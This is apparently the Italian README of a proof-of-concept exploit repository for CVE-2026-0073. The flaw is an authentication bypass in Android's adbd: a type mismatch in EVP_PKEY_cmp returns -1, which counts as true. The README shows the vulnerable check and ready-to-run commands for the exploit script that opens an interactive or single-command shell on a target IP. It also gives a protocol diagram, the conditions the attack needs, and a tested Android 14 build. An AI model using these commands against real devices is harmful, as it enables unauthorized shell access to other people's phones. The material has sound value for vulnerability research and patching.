
CVE-2026-0073 — Bypass dell'autenticazione TLS del demone ADB di Android (adbd) tramite type confusion in EVP_PKEY_cmp. Ottenimento di accesso shell non autorizzato via WiFi sfruttando la mancata corrispondenza delle chiavi EC/Ed25519. Exploit PoC per Android 14+.
EVP_PKEY_cmp() → shell ADB non autorizzataUn bypass critico dell'autenticazione nel demone ADB di Android (adbd) consente a qualsiasi attaccante sulla rete locale di ottenere una shell completa su un dispositivo bersaglio senza l'autorizzazione dell'utente.
La vulnerabilità risiede in adbd_tls_verify_cert() all'interno di daemon/auth.cpp, dove EVP_PKEY_cmp() viene utilizzato come booleano. Quando la chiave memorizzata è RSA e il certificato client TLS presentato contiene una chiave non-RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() restituisce -1 (mancata corrispondenza di tipo), che è veritiero in C/C++, quindi authorized = true.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
Valore restituito da EVP_PKEY_cmp() | Significato | Verità in C? | Risultato |
|---|---|---|---|
1 | Le chiavi corrispondono | ✅ | Autorizzato (corretto) |
0 | Le chiavi differiscono | ❌ | Rifiutato (corretto) |
-1 | Tipo non corrispondente | ✅ | Autorizzato (BUG) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Per impostazione predefinita, lo script prova automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 finché uno non riesce.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| Requisito | Dettagli |
|---|---|
| Opzioni sviluppatore | Abilitate sul dispositivo di destinazione |
| Debug wireless | Abilitato (o ADB su TCP sulla porta 5555) |
| Chiave RSA memorizzata | Il dispositivo deve essere stato associato via USB almeno una volta (/data/misc/adb/adb_keys) |
| Accesso alla rete | L'attaccante deve poter raggiungere la porta TCP di adbd |
⚠️ Importante: La chiave RSA deve trovarsi in
/data/misc/adb/adb_keys, che viene popolato tramite l'associazione del debug USB (accettando la finestra di dialogo "Consentire il debug USB?"). L'associazione del debug wireless (adb pair) memorizza le chiavi in una posizione diversa (adb_known_hosts.pb) e NON soddisfa questo requisito.
adb shell getprop ro.build.version.security_patch
Testato e confermato funzionante su:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Questo fork include diverse migliorie:
select() per il supporto multipiattaforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Ottenere sempre l'autorizzazione appropriata prima di eseguire i test. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.
EVP_PKEY_cmpSe questo ha aiutato la tua ricerca, lascia una ⭐